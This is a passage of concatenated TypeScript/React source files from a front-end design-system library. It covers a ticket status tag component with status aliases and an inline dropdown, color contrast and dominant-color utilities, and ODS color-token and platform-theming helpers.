16.6208 10.8755 15.9995Z\" \n        fill={whiteOverlay ? \"white\" : \"#5EA62E\"}\n      />\n    </svg>\n  )\n} ","'use client';\n\nimport React from 'react';\nimport { cn } from '../../utils/cn';\nimport { deriveActiveColor, deriveHoverColor, getReadableTextColor } from '../../utils/ods-color-utils';\nimport { CheckCircleIcon, Chevron02DownIcon } from '../icons-v2-generated';\nimport { ActionsMenuDropdown } from './actions-menu';\nimport { ColorSwatch } from './color-swatch';\nimport { Tag, type TagProps, tagVariants } from './tag';\nimport { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from './tooltip';\n\n/**\n * Canonical ticket status values.\n * This is the single source of truth for ticket statuses across all frontends.\n */\nexport type TicketStatus = 'ACTIVE' | 'AI_ASSISTANCE' | 'TECH_REQUIRED' | 'ON_HOLD' | 'RESOLVED' | 'ARCHIVED';\n\ntype TagVariant = NonNullable<TagProps['variant']>;\n\ninterface TicketStatusConfig {\n  label: string;\n  variant: TagVariant;\n  icon?: React.ReactNode;\n}\n\nconst STATUS_CONFIG: Record<TicketStatus, TicketStatusConfig> = {\n  ACTIVE: {\n    label: 'Active',\n    variant: 'success',\n  },\n  AI_ASSISTANCE: {\n    label: 'AI Handling',\n    variant: 'outline',\n  },\n  TECH_REQUIRED: {\n    label: 'Tech Required',\n    variant: 'warning',\n  },\n  ON_HOLD: {\n    label: 'On Hold',\n    variant: 'error',\n  },\n  RESOLVED: {\n    label: 'Resolved',\n    variant: 'outline',\n    icon: <CheckCircleIcon size={16} color=\"var(--color-success)\" />,\n  },\n  ARCHIVED: {\n    label: 'Archived',\n    variant: 'grey',\n  },\n};\n\n/**\n * Maps known aliases to canonical TicketStatus values.\n * Handles: backend UPPER_CASE, chat lowercase, and dialog-layer ACTION_REQUIRED alias.\n */\nconst STATUS_ALIASES: Record<string, TicketStatus> = {\n  // Canonical (backend enum)\n  ACTIVE: 'ACTIVE',\n  AI_ASSISTANCE: 'AI_ASSISTANCE',\n  ai_assistance: 'AI_ASSISTANCE',\n  TECH_REQUIRED: 'TECH_REQUIRED',\n  ON_HOLD: 'ON_HOLD',\n  RESOLVED: 'RESOLVED',\n  ARCHIVED: 'ARCHIVED',\n  // Dialog-layer alias\n  ACTION_REQUIRED: 'TECH_REQUIRED',\n  // HubSpot canonical (OPEN/CLOSED) — drives color + icon variant. The\n  // user-facing label still comes from `pipeline_stage_label` when the\n  // caller passes <TicketStatusTag label={…}>, so the badge can read\n  // \"New\" / \"Working\" / \"Waiting on contact\" while the canonical status\n  // remains OPEN.\n  OPEN: 'ACTIVE',\n  open: 'ACTIVE',\n  CLOSED: 'RESOLVED',\n  closed: 'RESOLVED',\n  // Chat lowercase variants\n  active: 'ACTIVE',\n  tech_required: 'TECH_REQUIRED',\n  on_hold: 'ON_HOLD',\n  resolved: 'RESOLVED',\n  archived: 'ARCHIVED',\n  action_required: 'TECH_REQUIRED',\n};\n\n/**\n * Resolves any status string to a canonical TicketStatus.\n * Returns null for unknown values.\n */\nexport function resolveTicketStatus(status: string): TicketStatus | null {\n  return STATUS_ALIASES[status] ?? null;\n}\n\n/**\n * Returns the display config (label, variant, icon) for a given ticket status.\n * Accepts any known status format (backend, chat, dialog).\n */\nexport function getTicketStatusConfig(status: string): TicketStatusConfig {\n  const canonical = resolveTicketStatus(status);\n  if (!canonical) {\n    return { label: status.replace(/_/g, ' '), variant: 'outline' };\n  }\n  return STATUS_CONFIG[canonical];\n}\n\n/**\n * Returns just the label and variant for use with the Tag component.\n * Drop-in replacement for the getTicketStatusTag utility in openframe-frontend.\n */\nexport function getTicketStatusTag(status: string): { label: string; variant: TagVariant; icon?: React.ReactNode } {\n  const config = getTicketStatusConfig(status);\n  return { label: config.label, variant: config.variant, icon: config.icon };\n}\n\n// ---------------------------------------------------------------------------\n// Lifecycle (custom-status) helpers\n// ---------------------------------------------------------------------------\n\n/** Backend status-definition kinds. */\nexport type TicketStatusKind = 'AI_ASSISTANCE' | 'TECH_REQUIRED' | 'RESOLVED' | 'ARCHIVED' | 'CUSTOM';\n\nconst KIND_TO_CANONICAL: Record<Exclude<TicketStatusKind, 'CUSTOM'>, TicketStatus> = {\n  AI_ASSISTANCE: 'AI_ASSISTANCE',\n  TECH_REQUIRED: 'TECH_REQUIRED',\n  RESOLVED: 'RESOLVED',\n  ARCHIVED: 'ARCHIVED',\n};\n\n/** Canonical TicketStatus for a backend kind, or undefined for CUSTOM/unknown. */\nexport function kindToCanonicalStatus(kind: string | null | undefined): TicketStatus | undefined {\n  if (kind == null || kind === 'CUSTOM') return undefined;\n  return (KIND_TO_CANONICAL as Record<string, TicketStatus | undefined>)[kind];\n}\n\n/**\n * Whether a status of this kind renders with its canonical (system) styling\n * rather than the backend-provided color: AI_ASSISTANCE/RESOLVED/ARCHIVED do;\n * TECH_REQUIRED and custom statuses use their color.\n */\nexport function usesCanonicalStatusStyle(kind: string | null | undefined): boolean {\n  return kind != null && kind !== 'CUSTOM' && kind !== 'TECH_REQUIRED';\n}\n\nexport interface TicketStatusInput {\n  /** Legacy enum status (may be empty/null under the lifecycle feature). */\n  status?: string | null;\n  /** Backend status kind (AI_ASSISTANCE, TECH_REQUIRED, RESOLVED, ARCHIVED, CUSTOM). */\n  statusKind?: string | null;\n  /** Custom status display name. */\n  statusName?: string | null;\n  /** Custom status hex color. */\n  statusColor?: string | null;\n}\n\n/**\n * Maps a ticket's status fields to TicketStatusTag props, the unified design\n * shared across OpenFrame surfaces: AI_ASSISTANCE/RESOLVED/ARCHIVED render with\n * their canonical variant/icon; TECH_REQUIRED and custom statuses render from the\n * backend color, labelled by the custom status name.\n */\nexport function resolveStatusTagProps(input: TicketStatusInput): { status: string; label?: string; color?: string } {\n  const canonical = usesCanonicalStatusStyle(input.statusKind) ? kindToCanonicalStatus(input.statusKind) : undefined;\n  return {\n    status: canonical ?? input.status ?? '',\n    label: input.statusName ?? undefined,\n    color: canonical ? undefined : (input.statusColor ?? undefined),\n  };\n}\n\n// ---------------------------------------------------------------------------\n// Component\n// ---------------------------------------------------------------------------\n\n/** A selectable status option for the inline status-change dropdown. */\nexport interface TicketStatusTagOption {\n  id: string;\n  name: string;\n  color: string;\n}\n\nexport interface TicketStatusTagProps {\n  /** Ticket status in any known format (ACTIVE, active, ACTION_REQUIRED, etc.) */\n  status: string;\n  /** Override the default label */\n  label?: string;\n  /**\n   * Hex color override. Replaces the variant's fill; text\n   * color is computed for contrast. The status's preset icon is preserved.\n   */\n  color?: string;\n  /** Override the status's default Tag variant (e.g. force 'outline' or 'primary'). */\n  variant?: TagVariant;\n  /** Additional className for the Tag */\n  className?: string;\n  /** Show the status-specific icon (e.g. checkmark for resolved) */\n  showIcon?: boolean;\n  /**\n   * Make the tag an inline status changer. When provided (with `onSelect`), the\n   * tag renders with a chevron and opens a dropdown of these options on click.\n   */\n  options?: TicketStatusTagOption[];\n  /** Called with the chosen option id. Required for the inline dropdown. */\n  onSelect?: (id: string) => void;\n  /** Disables the dropdown while a change is in flight. */\n  isPending?: boolean;\n  /**\n   * Lock the status: renders the plain non-interactive tag even when `options`\n   * are provided (e.g. a pending approval request blocks the transition).\n   */\n  disabled?: boolean;\n  /** Reason shown in a tooltip over the tag when `disabled`. */\n  disabledReason?: string;\n}\n\n/**\n * Unified ticket status tag component.\n * Renders a styled Tag with the correct color variant and optional icon\n * for any ticket status value from any layer (backend, dialog, chat).\n */\nexport function TicketStatusTag({\n  status,\n  label,\n  color,\n  variant,\n  className,\n  showIcon = true,\n  options,\n  onSelect,\n  isPending = false,\n  disabled = false,\n  disabledReason,\n}: TicketStatusTagProps) {\n  const config = getTicketStatusConfig(status);\n  // Custom color: drive bg via CSS vars so the derived hover/active fills can win\n  // on :hover/:active (an inline backgroundColor would block class-based hover).\n  const customStyle = color\n    ? ({\n        '--tag-bg': color,\n        '--tag-bg-hover': deriveHoverColor(color),\n        '--tag-bg-active': deriveActiveColor(color),\n        color: getReadableTextColor(color),\n      } as React.CSSProperties)\n    : undefined;\n  const customColorClasses = color\n    ? 'bg-[var(--tag-bg)] hover:bg-[var(--tag-bg-hover)] active:bg-[var(--tag-bg-active)]'\n    : undefined;\n\n  const tag = (\n    <Tag\n      label={label ?? config.label}\n      variant={variant ?? config.variant}\n      icon={showIcon ? config.icon : undefined}\n      className={cn('shrink-0 w-fit', customColorClasses, className)}\n      style={customStyle}\n    />\n  );\n\n  if (disabled || !options || options.length === 0 || !onSelect) {\n    if (disabled && disabledReason) {\n      return (\n        <TooltipProvider delayDuration={0}>\n          <Tooltip>\n            <TooltipTrigger asChild>\n              <span className=\"w-fit shrink-0 cursor-not-allowed\">{tag}</span>\n            </TooltipTrigger>\n            <TooltipContent>{disabledReason}</TooltipContent>\n          </Tooltip>\n        </TooltipProvider>\n      );\n    }\n    return tag;\n  }\n\n  return (\n    <ActionsMenuDropdown\n      align=\"start\"\n      groups={[\n        {\n          items: options.map(option => ({\n            id: option.id,\n            label: option.name,\n            icon: <ColorSwatch color={option.color} />,\n            onClick: () => onSelect(option.id),\n            disabled: isPending,\n          })),\n        },\n      ]}\n      customTrigger={\n        <button\n          type=\"button\"\n          disabled={isPending}\n          aria-label=\"Change status\"\n          style={customStyle}\n          className={cn(\n            // Reuse the tag's variant styling, but split into a label section and a\n            // separated chevron section (the common dropdown-button seam).\n            tagVariants({ variant: variant ?? config.variant }),\n            'w-fit shrink-0 items-stretch justify-start gap-0 overflow-hidden p-0',\n            'disabled:opacity-60 disabled:cursor-not-allowed',\n            // Custom color: bg/hover/active from the CSS vars set above.\n            customColorClasses,\n            className,\n          )}\n        >\n          <span className=\"flex items-center gap-[var(--spacing-system-xxs)] px-[var(--spacing-system-xsf)]\">\n            {showIcon && config.icon && (\n              <span className=\"flex items-center justify-center size-5 shrink-0\">{config.icon}</span>\n            )}\n            <span className=\"truncate\">{label ?? config.label}</span>\n          </span>\n          <span className=\"flex items-center justify-center self-stretch border-l border-ods-border px-[var(--spacing-system-xsf)]\">\n            <Chevron02DownIcon className=\"size-4 shrink-0\" />\n          </span>\n        </button>\n      }\n    />\n  );\n}\n","// Color analysis utilities for dynamic badge colors\n\nexport interface ColorPalette {\n  name: string;\n  hex: string;\n  rgb: [number, number, number];\n}\n\n// Your design system color palette - Star colors only\nexport const DESIGN_PALETTE: ColorPalette[] = [\n  { name: 'yellow', hex: '#FFC008', rgb: [255, 192, 8] },\n  { name: 'black', hex: '#161616', rgb: [22, 22, 22] },\n  { name: 'gray', hex: '#888888', rgb: [136, 136, 136] },\n];\n\n/**\n * Convert hex color to RGB\n */\nexport function hexToRgb(hex: string): [number, number, number] {\n  // Expand shorthand (#fc0 -> #ffcc00) so legacy/hand-entered values classify\n  // by their real color instead of falling through to black.\n  const normalized = hex.replace(/^#?([a-f\\d])([a-f\\d])([a-f\\d])$/i, (_, r, g, b) => `${r}${r}${g}${g}${b}${b}`);\n  const result = /^#?([a-f\\d]{2})([a-f\\d]{2})([a-f\\d]{2})$/i.exec(normalized);\n  return result\n    ? [parseInt(result[1], 16), parseInt(result[2], 16), parseInt(result[3], 16)]\n    : [0, 0, 0];\n}\n\n/**\n * Calculate relative luminance for contrast calculations\n */\nfunction getLuminance(rgb: [number, number, number]): number {\n  const [r, g, b] = rgb.map(c => {\n    c = c / 255;\n    return c <= 0.03928 ? c / 12.92 : Math.pow((c + 0.055) / 1.055, 2.4);\n  });\n  return 0.2126 * r + 0.7152 * g + 0.0722 * b;\n}\n\n/**\n * Calculate contrast ratio between two colors\n */\nexport function getContrastRatio(color1: [number, number, number], color2: [number, number, number]): number {\n  const lum1 = getLuminance(color1);\n  const lum2 = getLuminance(color2);\n  const brightest = Math.max(lum1, lum2);\n  const darkest = Math.min(lum1, lum2);\n  return (brightest + 0.05) / (darkest + 0.05);\n}\n\n/**\n * Pick the readable foreground shade for an arbitrary background hex — 'dark'\n * when dark text has the better WCAG contrast on it, 'light' otherwise.\n * Callers map the result to an ODS THEME, not to color literals (e.g. the\n * announcement bar scopes its content with .theme-light when the background\n * needs dark-on-light, .theme-dark otherwise — every color then resolves\n * from the active theme's own tokens).\n */\nexport function pickReadableTextColor(bgHex: string): 'dark' | 'light' {\n  const bg = hexToRgb(bgHex);\n  const darkContrast = getContrastRatio(bg, [26, 26, 26]);\n  const lightContrast = getContrastRatio(bg, [250, 250, 250]);\n  return darkContrast >= lightContrast ? 'dark' : 'light';\n}\n\n/**\n * Extract dominant color from image canvas\n */\nexport function extractDominantColor(canvas: HTMLCanvasElement): [number, number, number] {\n  const ctx = canvas.getContext('2d');\n  if (!ctx) return [128, 128, 128]; // fallback gray\n\n  const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);\n  const data = imageData.data;\n\n  // Sample pixels in a grid pattern for performance\n  const sampleSize = Math.max(1, Math.floor(data.length / (4 * 1000))); // ~1000 samples\n  const colorCounts: { [key: string]: number } = {};\n\n  for (let i = 0; i < data.length; i += 4 * sampleSize) {\n    const r = data[i];\n    const g = data[i + 1];\n    const b = data[i + 2];\n    const alpha = data[i + 3];\n\n    // Skip transparent pixels\n    if (alpha < 128) continue;\n\n    // Bucket colors to reduce noise (round to nearest 32)\n    const bucketR = Math.round(r / 32) * 32;\n    const bucketG = Math.round(g / 32) * 32;\n    const bucketB = Math.round(b / 32) * 32;\n\n    const key = `${bucketR},${bucketG},${bucketB}`;\n    colorCounts[key] = (colorCounts[key] || 0) + 1;\n  }\n\n  // Find most common color\n  let maxCount = 0;\n  let dominantColor: [number, number, number] = [128, 128, 128];\n\n  for (const [colorKey, count] of Object.entries(colorCounts)) {\n    if (count > maxCount) {\n      maxCount = count;\n      const [r, g, b] = colorKey.split(',').map(Number);\n      dominantColor = [r, g, b];\n    }\n  }\n\n  return dominantColor;\n}\n\n/**\n * Find the best contrasting color from the design palette\n */\nexport function getBestContrastColor(imageColor: [number, number, number]): ColorPalette {\n  let bestColor = DESIGN_PALETTE[0];\n  let bestContrast = 0;\n\n  for (const color of DESIGN_PALETTE) {\n    const contrast = getContrastRatio(imageColor, color.rgb);\n    if (contrast > bestContrast) {\n      bestContrast = contrast;\n      bestColor = color;\n    }\n  }\n\n  // Ensure minimum contrast ratio of 3:1 for readability\n  return bestContrast >= 3 ? bestColor : DESIGN_PALETTE.find(c => c.name === 'black') || bestColor;\n}\n\n/**\n * Load image and analyze its dominant color\n */\nexport function analyzeImageColor(imageSrc: string): Promise<ColorPalette> {\n  return new Promise((resolve, reject) => {\n    const img = new Image();\n    img.crossOrigin = 'anonymous';\n\n    img.onload = () => {\n      try {\n        const canvas = document.createElement('canvas');\n        const ctx = canvas.getContext('2d');\n\n        if (!ctx) {\n          reject(new Error('Could not get canvas context'));\n          return;\n        }\n\n        // Resize to smaller canvas for performance\n        const maxSize = 100;\n        const scale = Math.min(maxSize / img.width, maxSize / img.height);\n        canvas.width = img.width * scale;\n        canvas.height = img.height * scale;\n\n        ctx.drawImage(img, 0, 0, canvas.width, canvas.height);\n\n        const dominantColor = extractDominantColor(canvas);\n        const bestContrastColor = getBestContrastColor(dominantColor);\n\n        resolve(bestContrastColor);\n      } catch (error) {\n        reject(error);\n      }\n    };\n\n    img.onerror = () => reject(new Error('Failed to load image'));\n    img.src = imageSrc;\n  });\n}\n\n/**\n * Extract the dominant edge/corner color from an image URL.\n * Used for background fill behind images in emails and cards.\n * Client-side only (uses canvas). Returns hex color string.\n */\nexport async function extractImageEdgeColorAsync(imageUrl: string): Promise<string> {\n  return new Promise((resolve) => {\n    if (typeof window === 'undefined') { resolve('#000000'); return }\n    const img = new Image()\n    img.crossOrigin = 'anonymous'\n    img.onload = () => {\n      try {\n        const canvas = document.createElement('canvas')\n        const ctx = canvas.getContext('2d')\n        if (!ctx) { resolve('#000000'); return }\n        const maxSize = 50\n        const scale = Math.min(maxSize / img.naturalWidth, maxSize / img.naturalHeight)\n        const w = Math.round(img.naturalWidth * scale)\n        const h = Math.round(img.naturalHeight * scale)\n        canvas.width = w; canvas.height = h\n        ctx.drawImage(img, 0, 0, w, h)\n        const data = ctx.getImageData(0, 0, w, h).data\n        // Sample edge pixels (15% band on all sides) with color bucketing\n        const edgeW = Math.max(2, Math.round(w * 0.15))\n        const edgeH = Math.max(2, Math.round(h * 0.15))\n        const bucketSize = 32\n        const buckets = new Map<string, { r: number; g: number; b: number; count: number }>()\n        for (let y = 0; y < h; y++) {\n          for (let x = 0; x < w; x++) {\n            if (!(x < edgeW || x >= w - edgeW || y < edgeH || y >= h - edgeH)) continue\n            const i = (y * w + x) * 4\n            if (data[i + 3] < 128) continue\n            const br = Math.floor(data[i] / bucketSize) * bucketSize\n            const bg = Math.floor(data[i + 1] / bucketSize) * bucketSize\n            const bb = Math.floor(data[i + 2] / bucketSize) * bucketSize\n            const key = `${br},${bg},${bb}`\n            const existing = buckets.get(key)\n            if (existing) { existing.r += data[i]; existing.g += data[i + 1]; existing.b += data[i + 2]; existing.count++ }\n            else { buckets.set(key, { r: data[i], g: data[i + 1], b: data[i + 2], count: 1 }) }\n          }\n        }\n        let best = { r: 0, g: 0, b: 0, count: 0 }\n        for (const b of buckets.values()) { if (b.count > best.count) best = b }\n        if (best.count === 0) { resolve('#000000'); return }\n        const r = Math.round(best.r / best.count), g = Math.round(best.g / best.count), b = Math.round(best.b / best.count)\n        resolve(`#${r.toString(16).padStart(2, '0')}${g.toString(16).padStart(2, '0')}${b.toString(16).padStart(2, '0')}`)\n      } catch { resolve('#000000') }\n    }\n    img.onerror = () => resolve('#000000')\n    img.src = imageUrl\n  })\n}\n","/**\n * ODS Color Token Utility Functions\n * \n * Provides runtime utilities for working with ODS color tokens\n */\n\nimport { pickReadableTextColor } from './color-analysis';\nimport { colorTokens as odsTokens } from './ods-color-tokens-stub';\n\nexport type Platform = 'openmsp' | 'openframe' | 'flamingo';\nexport type ColorCategory = 'open' | 'flamingo' | 'system' | 'attention';\nexport type ColorVariant = 'base' | 'hover' | 'active' | 'focus' | 'disabled';\n\n/**\n * Gets the raw ODS token value for a specific color\n */\nexport function getODSToken(\n  category: ColorCategory,\n  color: string,\n  variant: ColorVariant = 'base'\n): string | undefined {\n  const tokenKey = `${category}-${color}-${variant}`;\n  return (odsTokens as any)[tokenKey];\n}\n\n/**\n * Gets the current platform's accent color\n */\nexport function getPlatformAccentColor(platform?: Platform): string {\n  const currentPlatform = platform || getCurrentPlatform();\n  \n  const platformColors = {\n    'openmsp': 'var(--ods-open-yellow-base)',         // CSS variable instead of hex\n    'openframe': 'var(--ods-open-yellow-base)',       // CSS variable instead of hex\n    'flamingo': 'var(--ods-flamingo-pink-base)'       // CSS variable instead of hex\n  };\n  \n  return platformColors[currentPlatform];\n}\n\n/**\n * Gets the current platform from environment or DOM\n */\nexport function getCurrentPlatform(): Platform {\n  // Server-side: use environment variable\n  if (typeof window === 'undefined') {\n    return (process.env.NEXT_PUBLIC_APP_TYPE as Platform) || 'openmsp';\n  }\n  \n  // Client-side: check DOM attribute first, fallback to environment\n  const domPlatform = document.documentElement.getAttribute('data-app-type');\n  if (domPlatform) {\n    return domPlatform as Platform;\n  }\n  \n  return (process.env.NEXT_PUBLIC_APP_TYPE as Platform) || 'openmsp';\n}\n\n/**\n * Switches the platform theme by updating CSS custom properties\n */\nexport function switchPlatformTheme(platform: Platform): void {\n  if (typeof window === 'undefined') return;\n  \n  const root = document.documentElement;\n  root.setAttribute('data-app-type', platform);\n  \n  // Note: Cannot modify process.env at runtime in production\n  // This would only work in development/test environments\n  \n  // Dispatch custom event for components to react to platform changes\n  window.dispatchEvent(new CustomEvent('platformThemeChanged', {\n    detail: { platform }\n  }));\n}\n\n/**\n * Gets a semantic color value for the current platform\n */\nexport function getSemanticColor(semanticName: string, platform?: Platform): string | undefined {\n  if (typeof window === 'undefined') return undefined;\n  \n  const currentPlatform = platform || getCurrentPlatform();\n  \n  // Switch platform temporarily to get the color\n  const originalPlatform = getCurrentPlatform();\n  if (currentPlatform !== originalPlatform) {\n    switchPlatformTheme(currentPlatform);\n  }\n  \n  const testElement = document.createElement('div');\n  document.body.appendChild(testElement);\n  \n  const computedStyle = getComputedStyle(testElement);\n  const colorValue = computedStyle.getPropertyValue(`--color-${semanticName}`);\n  \n  document.body.removeChild(testElement);\n  \n  // Restore original platform\n  if (currentPlatform !== originalPlatform) {\n    switchPlatformTheme(originalPlatform);\n  }\n  \n  return colorValue.trim() || undefined;\n}\n\n/**\n * Converts an ODS token to its corresponding Tailwind class\n */\nexport function tokenToTailwindClass(\n  tokenKey: string,\n  type: 'bg' | 'text' | 'border' = 'bg'\n): string | undefined {\n  // Map common tokens to Tailwind classes\n  const tokenMappings: Record<string, string> = {\n    // Accent colors\n    'accent-primary': 'accent',\n    'accent-hover': 'accent-hover',\n    'accent-active': 'accent-active',\n    \n    // Background colors\n    'bg': 'bg',\n    'bg-card': 'card',\n    'bg-hover': 'bg-hover',\n    'bg-active': 'bg-active',\n    \n    // Text colors\n    'text-primary': 'text-primary',\n    'text-secondary': 'text-secondary',\n    'text-muted': 'text-muted',\n    'text-disabled': 'text-disabled',\n    'text-on-accent': 'text-on-accent',\n    'text-on-dark': 'text-on-dark',\n    \n    // Border colors\n    'border-default': 'border',\n    'border-hover': 'border-hover',\n    'border-focus': 'border-focus',\n    \n    // Status colors\n    'success': 'success',\n    'error': 'error',\n    'warning': 'warning',\n    'info': 'info'\n  };\n  \n  const mappedToken = tokenMappings[tokenKey];\n  if (!mappedToken) return undefined;\n  \n  return `${type}-ods-${mappedToken}`;\n}\n\n/**\n * Gets all available ODS tokens for a category\n */\nexport function getTokensByCategory(category: ColorCategory): Record<string, string> {\n  const tokens: Record<string, string> = {};\n  \n  Object.entries(odsTokens).forEach(([key, value]) => {\n    if (key.startsWith(`${category}-`)) {\n      tokens[key] = value as string;\n    }\n  });\n  \n  return tokens;\n}\n\n/**\n * Validates if a color token exists in the ODS system\n */\nexport function isValidODSToken(tokenKey: string): boolean {\n  return tokenKey in odsTokens;\n}\n\n/**\n * Gets the platform configuration for theming\n */\nexport function getPlatformConfig(platform?: Platform) {\n  const currentPlatform = platform || getCurrentPlatform();\n  \n  return {\n    platform: currentPlatform,\n    accentColor: getPlatformAccentColor(currentPlatform),\n    isDarkTheme: currentPlatform !== 'flamingo',\n    isLightTheme: currentPlatform === 'flamingo',\n    brandName: {\n      'openmsp': 'OpenMSP',\n      'openframe': 'OpenFrame',\n      'flamingo': 'Flamingo'\n    }[currentPlatform]\n  };\n}\n\n/**\n * Generates CSS custom property declarations for a platform\n */\nexport function generatePlatformCSS(platform: Platform): string {\n  const accentColor = getPlatformAccentColor(platform);\n  const tokens = getTokensByCategory('system');\n  \n  let css = `[data-app-type=\"${platform}\"] {\\n`;\n  css += `  --color-accent-primary: ${accentColor};\\n`;\n  \n  // Add platform-specific overrides\n  if (platform === 'flamingo') {\n    css += `  --color-bg: var(--ods-system-greys-white);\\n`;\n    css += `  --color-text-primary: var(--ods-system-greys-background);\\n`;\n  }\n  \n  if (platform === 'openframe') {\n    css += `  --color-bg: var(--ods-system-greys-darker);\\n`;\n  }\n  \n  css += `}\\n`;\n  \n  return css;\n}\n\n/**\n * Applies a color token as a CSS custom property\n */\nexport function applyColorToken(\n  element: HTMLElement,\n  property: string,\n  tokenKey: string\n): void {\n  const tokenValue = (odsTokens as any)[tokenKey];\n  if (tokenValue) {\n    element.style.setProperty(`--${property}`, tokenValue);\n  }\n}\n\n/**\n * Creates a color interpolation between two ODS tokens\n */\nexport function interpolateColors(\n  startToken: string,\n  endToken: string,\n  progress: number\n): string {\n  const startColor = (odsTokens as any)[startToken];\n  const endColor = (odsTokens as any)[endToken];\n  \n  if (!startColor || !endColor) {\n    return startColor || endColor || '#000000';\n  }\n  \n  // Simple hex color interpolation\n  const hexToRgb = (hex: string) => {\n    const result = /^#?([a-f\\d]{2})([a-f\\d]{2})([a-f\\d]{2})$/i.exec(hex);\n    return result ? {\n      r: parseInt(result[1], 16),\n      g: parseInt(result[2], 16),\n      b: parseInt(result[3], 16)\n    } : { r: 0, g: 0, b: 0 };\n  };\n  \n  const rgbToHex = (r: number, g: number, b: number) => {\n    return \"#\" + ((1 << 24) + (Math.round(r) << 16) + (Math.round(g) << 8) + Math.round(b)).toString(16).slice(1);\n  };\n  \n  const start = hexToRgb(startColor);\n  const end = hexToRgb(endColor);\n  \n  const interpolated = {\n    r: start.r + (end.r - start.r) * progress,\n    g: start.g + (end.g - start.g) * progress,\n    b: start.b + (end.b - start.b) * progress\n  };\n  \n  return rgbToHex(interpolated.r, interpolated.g, interpolated.b);\n}\n\n/**\n * Hook for React components to use platform-aware colors\n */\nexport function usePlatformColors(platform?: Platform) {\n  const currentPlatform = platform || getCurrentPlatform();\n  const config = getPlatformConfig(currentPlatform);\n  \n  return {\n    platform: currentPlatform,\n    accentColor: config.accentColor,\n    isDarkTheme: config.isDarkTheme,\n    isLightTheme: config.isLightTheme,\n    brandName: config.brandName,\n    getToken: (category: ColorCategory, color: string, variant?: ColorVariant) =>\n      getODSToken(category, color, variant),\n    switchTheme: (newPlatform: Platform) => switchPlatformTheme(newPlatform),\n    getSemanticColor: (semanticName: string) => getSemanticColor(semanticName, currentPlatform)\n  };\n}\n\n/**\n * Picks a near-black or near-white text color with adequate contrast on `hex`.\n * Thin wrapper over `pickReadableTextColor` (color-analysis.ts) — ONE\n * light-or-dark decision formula (WCAG relative luminance) for the whole lib.\n */\nexport function getReadableTextColor(hex: string): string {\n  return pickReadableTextColor(hex) === 'dark' ? '#212121' : '#fafafa'\n}\n\n// Hex <-> RGB <-> HSL. Hex is #rrggbb lowercase; hexToRgb returns null on invalid.\n\nexport const HEX_PATTERN = /^#[0-9a-fA-F]{6}$/;\n\nfunction clamp(n: number, min: number, max: number): number {\n  return Math.max(min, Math.min(max, n));\n}\n\nexport function hexToRgb(hex: string): { r: number; g: number; b: number } | null {\n  if (!HEX_PATTERN.test(hex)) return null;\n  const n = Number.parseInt(hex.slice(1), 16);\n  return { r: (n >> 16) & 0xff, g: (n >> 8) & 0xff, b: n & 0xff };\n}\n\nexport function rgbToHex(r: number, g: number, b: number): string {\n  const to = (n: number) => clamp(Math.round(n), 0, 255).toString(16).padStart(2, '0');\n  return `#${to(r)}${to(g)}${to(b)}`;\n}\n\n// Ticket-status interaction states. The design-system presets derive their\n// hover/active fills by darkening each RGB channel a fixed step (10 → hover,\n// 20 → active). Applying the same rule to user-picked custom colors keeps their\n// interaction states consistent with the presets without hardcoding a variant\n// per color. Channels floor at 0 via rgbToHex's clamp.\nconst HOVER_DARKEN_STEP = 10;\nconst ACTIVE_DARKEN_STEP = 20;\n\nfunction darkenByStep(hex: string, step: number): string {\n  const rgb = hexToRgb(hex);\n  if (!rgb) return hex;\n  return rgbToHex(rgb.r - step, rgb.g - step, rgb.b - step);\n}\n\nexport function deriveHoverColor(hex: string): string {\n  return darkenByStep(hex, HOVER_DARKEN_STEP);\n}\n\nexport function deriveActiveColor(hex: string): string {\n  return darkenByStep(hex, ACTIVE_DARKEN_STEP);\n}\n\nexport function rgbToHsl(r: number, g: number, b: number): { h: number; s: number; l: number } {\n  const rn = r / 255;\n  const gn = g / 255;\n  const bn = b / 255;\n  const max = Math.max(rn, gn, bn);\n  const min = Math.min(rn, gn, bn);\n  const l = (max + min) / 2;\n  if (max === min) return { h: 0, s: 0, l: Math.round(l * 100) };\n  const d = max - min;\n  const s = l > 0.5 ? d / (2 - max - min) : d / (max + min);\n  let h: number;\n  if (max === rn) h = (gn - bn) / d + (gn < bn ? 6 : 0);\n  else if (max === gn) h = (bn - rn) / d + 2;\n  else h = (rn - gn) / d + 4;\n  h *= 60;\n  return { h: Math.round(h), s: Math.round(s * 100), l: Math.round(l * 100) };\n}\n\nexport function hslToRgb(h: number, s: number, l: number): { r: number; g: number; b: number } {\n  const sn = clamp(s, 0, 100) / 100;\n  const ln = clamp(l, 0, 100) / 100;\n  const hn = ((h % 360) + 360) % 360;\n  if (sn === 0) {\n    const v = Math.round(ln * 255);\n    return { r: v, g: v, b: v };\n  }\n  const q = ln < 0.5 ? ln * (1 + sn) : ln + sn - ln * sn;\n  const p = 2 * ln - q;\n  const hue2rgb = (t: number) => {\n    let tn = t;\n    if (tn < 0) tn += 1;\n    if (tn > 1) tn -= 1;\n    if (tn < 1 / 6) return p + (q - p) * 6 * tn;\n    if (tn < 1 / 2) return q;\n    if (tn < 2 / 3) return p + (q - p) * (2 / 3 - tn) * 6;\n    return p;\n  };\n  const hk = hn / 360;\n  return {\n    r: Math.round(hue2rgb(hk + 1 / 3) * 255),\n    g: Math.round(hue2rgb(hk) * 255),\n    b: Math.round(hue2rgb(hk - 1 / 3) * 255),\n  };\n}\n\nexport default {\n  getODSToken,\n  getPlatformAccentColor,\n  getCurrentPlatform,\n  switchPlatformTheme,\n  getSemanticColor,\n  tokenToTailwindClass,\n  getTokensByCategory,\n  isValidODSToken,\n  getPlatformConfig,\n  generatePlatformCSS,\n  applyColorToken,\n  interpolateColors,\n  usePlatformColors\n};","\"use client\";\n\nimport * as DropdownMenuPrimitive from \"@radix-ui/react-dropdown-menu\";\nimport { useControllableState } from \"@radix-ui/react-use-controllable-state\";\nimport { Check } from \"lucide-react\";\nimport Link from \"../../embed-shims/next-link\";\nimport React, { useCallback } from \"react\";\nimport { Chevron02RightIcon, Ellipsis01Icon } from \"../icons-v2-generated\";\nimport { cn } from \"../../utils/cn\";\nimport { Button } from \"./button\";\nimport {\n\tDropdownMenu,\n\tDropdownMenuContent,\n\tDropdownMenuTrigger,\n} from \"./dropdown-menu\";\nimport {\n\tCOLLISION_PADDING_PX,\n\tuseCollisionBoundary,\n\tusePortalContainer,\n} from \"./portal-container\";\nimport { useReportOverlayOpen } from \"./overlay-open-registry\";\n\n/** Trigger movement (px) that counts as \"the user scrolled away\" rather 